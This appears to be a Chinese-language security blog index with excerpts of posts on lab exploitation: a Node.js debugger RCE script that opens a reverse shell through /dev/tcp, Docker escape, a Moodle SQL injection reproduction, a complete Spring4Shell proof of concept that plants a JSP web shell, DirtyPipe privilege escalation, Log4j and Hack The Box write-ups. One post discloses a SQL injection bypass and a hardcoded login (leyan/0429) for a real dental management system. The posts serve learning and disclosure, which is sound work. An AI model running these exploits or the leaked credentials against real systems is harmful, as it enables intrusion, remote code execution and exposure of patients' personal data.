NodeJS V8 Engine Debugger Exploit (Part2) - Auto Exploit

在上一篇文,(NodeJS V8 Engine Debugger Exploit) 中,我們使用了 VSCode 的 Debugger 與 Chrome 的 Debugger 把 Node JS 的 Debugger Port 給戳出 Shell。 但上一篇貼文終究要使用到 GUI,用起來總是沒有很舒服,感謝 @uuuuuyurr 大大協助,找到了一個方便的酷酷工具,可以使用 CLI 、 程式完成這件事情。 這次需要使用到的套件叫做 chrome-remote-interface 透過 npm i chrome-remote-interface 即可進行安裝。 接下來把官方的範例程式做一點點小小小修改,其他環境皆與上次的實驗環境相同,就可以 RCE 囉! Exploit 程式碼: const CDP = require('chrome-remote-interface'); async function example() { let client; try { // connect to endpoint options = { "host": "192.168.40.136", "port":9229 } client = await CDP(options); r = await client.Runtime.evaluate({expression: `global.process.mainModule.constructor._load("child_process").exec("bash -c 'bash -i >& /dev/tcp/192.168.40.135/443 0>&1'")`}); console.log(r); } catch (err) { console.error(err); } finally { if (client) { await client.close(); } } } example();

2022-04-10 · 1 分鐘 · steven

Docker Post Exploitation and Escape

最近常常遇到 Docker 相關的機器, Docker 機器裡面通常都很乾淨,缺少很多可以用的小工具,所以後滲透比起普通 Linux 機器有一點點點的不同 QQ,本文會用幾個小例子簡介一下 Docker 的後滲透技巧以及逃脫方法 以下範例的機器 IP: Kali (Attacker) : 192.168.40.135 Ubuntu (Victim) : 192.168.40.136 Mount Host Root Directory 在這邊的例子中,我們假設我們已經擁有了 Container 中的 Root 權限,且嘗試想試著逃離 Docker 這邊使用的 Docker 環境是這樣叫起來的 sudo docker run -v /:/host -it ubuntu bash 觀察電腦中的 Process 假設我們把 host 的根目錄 mount 在 container 的 /host,我們可以透過寫一個簡單的小腳本來觀察 host 機器上執行了哪些的 process #!/bin/bash for dir_name in $(ls -d /host/proc/*/ | grep -E '\/host\/proc\/[0-9]+\/'); do echo $dir_name; cat $dir_name/status 2>/dev/null | head -n 1; cat $dir_name/cmdline 2>/dev/null ; echo -ne '\n'; echo '============================' done 透過觀察 Host 的 Process,我們可以設法找出電腦中可以利用的 Process,範例輸出:可以觀察到電腦有開 SSH ...

2022-04-04 · 3 分鐘 · steven

CVE-2022-0332 Moodle SQL Injection Reproduce

起因是,HITCON Girls 的成員來詢問我關於這個 CVE 的 Exploit 方法,她說實作了一天都卡在一些參數問題上,所以我就架起來玩了一下。 Moodle / 母斗 是一個很大的 LMS,目前台科大也正在使用,我目前也在被摧殘的第六年,ㄏㄏ。 Public Information Exploit-DBhttps://www.exploit-db.com/exploits/50700GitHub- https://github.com/numanturle/CVE-2022-0332 Build Environment 要復現這個漏洞,比想像中麻煩很多,這邊我使用了 Docker-compose 來快速建置環境,基本上內容來自 bitnami-docker-moodle , 我唯一做了修改的部分是把第 15 行指定了 Moodle 的版本 docker-compose 內容 version: '2' services: mariadb: image: docker.io/bitnami/mariadb:10.3 environment: # ALLOW_EMPTY_PASSWORD is recommended only for development. - ALLOW_EMPTY_PASSWORD=yes - MARIADB_USER=bn_moodle - MARIADB_DATABASE=bitnami_moodle - MARIADB_CHARACTER_SET=utf8mb4 - MARIADB_COLLATE=utf8mb4_unicode_ci volumes: - 'mariadb_data:/bitnami/mariadb' moodle: image: docker.io/bitnami/moodle:3.11.4 ports: - '80:8080' - '443:8443' environment: - MOODLE_DATABASE_HOST=mariadb - MOODLE_DATABASE_PORT_NUMBER=3306 - MOODLE_DATABASE_USER=bn_moodle - MOODLE_DATABASE_NAME=bitnami_moodle # ALLOW_EMPTY_PASSWORD is recommended only for development. - ALLOW_EMPTY_PASSWORD=yes volumes: - 'moodle_data:/bitnami/moodle' - 'moodledata_data:/bitnami/moodledata' depends_on: - mariadb volumes: mariadb_data: driver: local moodle_data: driver: local moodledata_data: driver: local 執行 Docker 基本上執行下面的指令,就可以把完整的環境跑起來了 ...

2022-04-01 · 4 分鐘 · steven

Spring Core RCE JDK 9+ PoC and Experiment (2022/03/31)

從昨天晚上開始,就一大堆人開始傳說 Spring Core 的 RCE 漏洞 漏洞八卦 QQ 但是一直都只有很片段的一些 PoC 流出來,例如 或是一些被馬的亂七八糟的截圖 QQ,(原文已被刪除) 還出現了一些梗圖 還有其他的八卦是,今天下午時,有打著公開 PoC 名義的釣魚腳本,裡面還暗藏了惡意程式 https://cn-sec.com/archives/853963.html ,ㄟ這樣黑吃黑真的很不可取 = =。 這個漏洞難找還有另外一個原因是因為,前幾天又剛好有另外一個 Sprint cloud function 的 RCE (CVE-2022-22963),相關討論串與 PoC 在這邊 ,很多人都會把這兩個洞給搞混。初步了解,這兩個漏洞完全沒有任何關係。 撿到漏洞利用 終於在剛剛,我在 Twitter 上撿到了一隻 PoC https://twitter.com/Dinosn/status/1509201762665873410 Github 連結: https://github.com/dinosn/spring-core-rce/blob/main/test.py 為了避免任何意外, PoC 備份在以下,著作權仍屬於原作者 dinosn PoC 備份 #coding:utf-8 import requests import argparse from urllib.parse import urljoin def Exploit(url): headers = {"suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"application/x-www-form-urlencoded" } data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" try: go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False) shellurl = urljoin(url, 'tomcatwar.jsp') shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False) if shellgo.status_code == 200: print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami") except Exception as e: print(e) pass def main(): parser = argparse.ArgumentParser(description='Srping-Core Rce.') parser.add_argument('--file',help='url file',required=False) parser.add_argument('--url',help='target url',required=False) args = parser.parse_args() if args.url: Exploit(args.url) if args.file: with open (args.file) as f: for i in f.readlines(): i = i.strip() Exploit(i) if __name__ == '__main__': main() 建立環境 使用這個 Docker 試著建立攻擊環境 ...

2022-03-31 · 1 分鐘 · steven

透過 Scapy 以及 Socket 實作 Application 層的 Replay Attack

工業控制或是 IoT 等裝置很容易出現 Replay Attack 的攻擊方式,也就是傳送一樣的封包,就可以對這些裝置下一些指令,這些裝置不一定會驗證發送者的身分,或是透過 nonce 等方式進行確認。 以下是一個很簡單的例子來快速地透過 Scapy 實作 Replay Attack 的方法。 在這個例子中,我會使用 HTTP 協定來當作我們需要使用的目標,我們先假設 HTTP 是一個我們完全不認識的奇怪協定,我們希望可以透過鯊魚來紀錄,修改其中的一兩個 Bytes ,並重新發送給 Server。 Server 準備 首先我在我的 Server 上準備了 4 個 txt 檔案,檔名分別叫做 1, 2, 3, 4 echo one > 1 echo two > 2 echo three > 3 echo four > 4 接下來在同一個資料夾中使用了 Python 開啟一個 HTTP Server 在 8000 Port python3 -m http.server Client 準備 這邊的 Client 我們可以假裝說是工控場域的 HMI,準備發送指令給 PLC Server 這樣的場景。我使用 curl 指令來快速對伺服器建構了兩條的 HTTP Request (或是說 TCP 連線)。 ...

2022-03-12 · 2 分鐘 · steven

利用 CVE-2022-0847 DirtyPipe 進行 Linux 提權

一起床就看到了好玩的東西,昨天 (3/7) Max Kellermann 揭露了一個 DirtyPipe 的漏洞 https://dirtypipe.cm4all.com/ 名字聽起來就跟 DirtyCow 很像,也是一個可以本地提權的漏洞,漏洞詳情可以看上方連結的研究。 網路上也馬上就出現了一大堆 Exploit 的腳本,這邊我拿 Arinerron 的來試玩了一下。 首先到 Ubuntu 官網下載了最新版的 20.04 VM。 steven@ubuntu:/tmp$ uname -a Linux ubuntu 5.13.0-30-generic #33~20.04.1-Ubuntu SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 安裝好後,新增一個沒有 root 權限的使用者做為測試。 sudo adduser testuser 下載並編譯腳本 cd /tmp git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit cd CVE-2022-0847-DirtyPipe-Exploit/ ./compile.sh 當然如果 Victim 端沒有 gcc 的話,也可以在 attacker 機器上編譯好再傳過去。 接下來執行 ./exploit 就順利的可以提權到 Root 了! 理論上這個漏洞跟髒牛牛一樣,有很大的機率會搞壞 Linux Kernel,最近真的好多有趣的提權方法呢,前陣子的 pwnkit 跟這次的 Dirtypipe,看樣子大家的 Linux 真的要記得常常更新 (但 Server 更新也很可怕就是了 QQ)。

2022-03-08 · 1 分鐘 · steven

使用 Docker 執行 Metasploit

其實,我跟 Metasploit 沒有太熟,因為他太方便,太無惱了,導致 OSCP 的考試禁止使用。 我在練習 PT 時也就都直接當作這個軟體不存在 XD。 但事實上 Metasploit 真的算是一個很實用的工具,只需要無腦的設定好 payload 之後 run / exploit 下去就好了。 而 Reverse Shell 的部分,我一直以來都習慣使用 Stageless 的 Shell,不過其實 Meterpreter 以及其他 Staged 的 Shell 在實務上是滿好用的。 現在常見的滲透測試 OS ,例如 Kali 或是 Parrot 裡面都已經內鍵了 Metasploit 的指令,使用者不需要煩惱太多安裝的問題。通常在各種平台練習靶機時,官方都會發放一個 VPN, 攻擊者只需要把 Shell 彈回這個內網裡面的自己機器即可。 不過在實務上,事情就沒有這麼簡單了,如果我們使用簡單的 Stageless 的 Reverse shell , 當不在內網時,我們可以在雲端機器上隨便開一個 nc / ncat 來收,但 Stage 的就不同了,通常會需要使用 msfconsole 的 exploit/multi/handler 來接收。 在 GCP 上沒有內建 Kali, Parrot OS 的機器 (AWS 上有 Kali,但我比較不習慣用 AWS),當然可以自己上傳 image 檔案上去做一些處理,不過先前我的經驗是會遇到一些雷需要克服,因此最好的方法還是直接在雲端機器裡面部屬 msf,根據官方的說法,可以透過下面指令來安裝 msf ...

2022-03-04 · 1 分鐘 · steven

用 SQL injection 撿到 40+ 台機器跟幾千人個資的小故事

HITCON 0 Day: https://zeroday.hitcon.org/vulnerability/ZD-2021-00767 有點忘記起因了,有一天我在 Shodan 上面亂逛時,發現到了一批在台灣的電腦,都開啟了 8081 的 Web Port,它們的 Banner 都寫了 “樂晴牙醫管理系統” 因為我有在瀏覽器安裝 DotGit , 一點進去之後就叫了,這個網站的目錄底下存在著 .git 因此可以使用 GitHack 之類的東西進行還原。 跑下去之後偷偷看了一下程式碼,一看不得了,竟然有兩個可以任意登入的方法?! 漏洞 1 在程式碼的主要登入邏輯中 ajax/checkLogin_ajax.php 可以看到 $sql="select sfsn,sfno,sfpasswd,position,isowner,sfname from staff where sfno='$id' and sfpasswd='$password' "; 這是一個超級超級裸的 SQL injection ,使用所謂的 SQL injection 萬用密碼就可以進行登入了 QQ。 帳號 : ' or 1=1 -- 密碼 : 任意字串 漏洞 2 (Feature? 繼續的看同一個檔案,會發現在原始碼中留了一個寫死的預設密碼 if ($id!='' && $password!=''){ if ($id=='leyan' && $password=='0429'){ $has=1; session_start(); $_SESSION['staffid']="leyan"; $_SESSION['staffpw']="0429"; $_SESSION['staffposition']='S'; $_SESSION['isManager']='1'; $_SESSION['staffname']='Leyan'; $_SESSION['staffsfsn']=0; 因此只需要透過帳號 leyan 以及密碼 0429 就能登入所有的系統 ...

2022-03-01 · 1 分鐘 · steven

Solar, exploiting log4j (Try Hack Me Writeup)

https://tryhackme.com/room/solar 2021 / 12 / 9 公開了 CVE-2021-44228,影響到了 log4j,它的危害程度達到 10,這個漏洞又被稱作 Log4Shell 現在已經有新版的 2.16.0 Release 了,不過又出現了 Log4j2 Recon 透過掃 Port 可以看到有開 3 個 Port,分別是22,111,8983 rustscan -a 10.10.18.186 -r 1-65535 可以用 nmap 做更詳細的掃瞄 nmap -sV -Pn -A -p22,111,8983 10.10.18.186 可以發現 8983 開的是一個 Apache solr 的 Server Discovery 觀察首頁的版本可以知道他是 Solr 8.11.0 觀察 -Dsolr.log.dir 可以看到他的 log Path 是 /var/solr/logs 下載 lab 提供的 solrlogs.zip 檔案,他是一份範例的 Log 檔案 可以觀察到裡面有一個叫做 solr.log 的檔案會紀錄網頁的 Path 相關 Log ...

2021-12-19 · 2 分鐘 · steven

Celestial (Hack The Box Writeup)

URL : https://app.hackthebox.eu/machines/130 IP : 10.129.217.35 Recon 掃 PortnmapAutomator.sh -H 10.129.217.35 -t recon 掃路徑- 首頁 404- 發現有餅乾- F5 後- 發現餅乾是 Serialize Serialize import requests import base64 src = b'{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}' dst = base64.b64encode(src).decode('ascii') cookies = { 'profile': dst } headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', 'If-None-Match': 'W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"', 'Cache-Control': 'max-age=0', } response = requests.get('http://10.129.217.35:3000/', headers=headers, cookies=cookies) print(response.text) 亂戳 {"username": "meow" ,"country":"Idk Probably Somewhere Dumb","city":"Lametown","num": true} 會回傳 Hey meow true + true is 2 戳 ...

2021-09-23 · 2 分鐘 · steven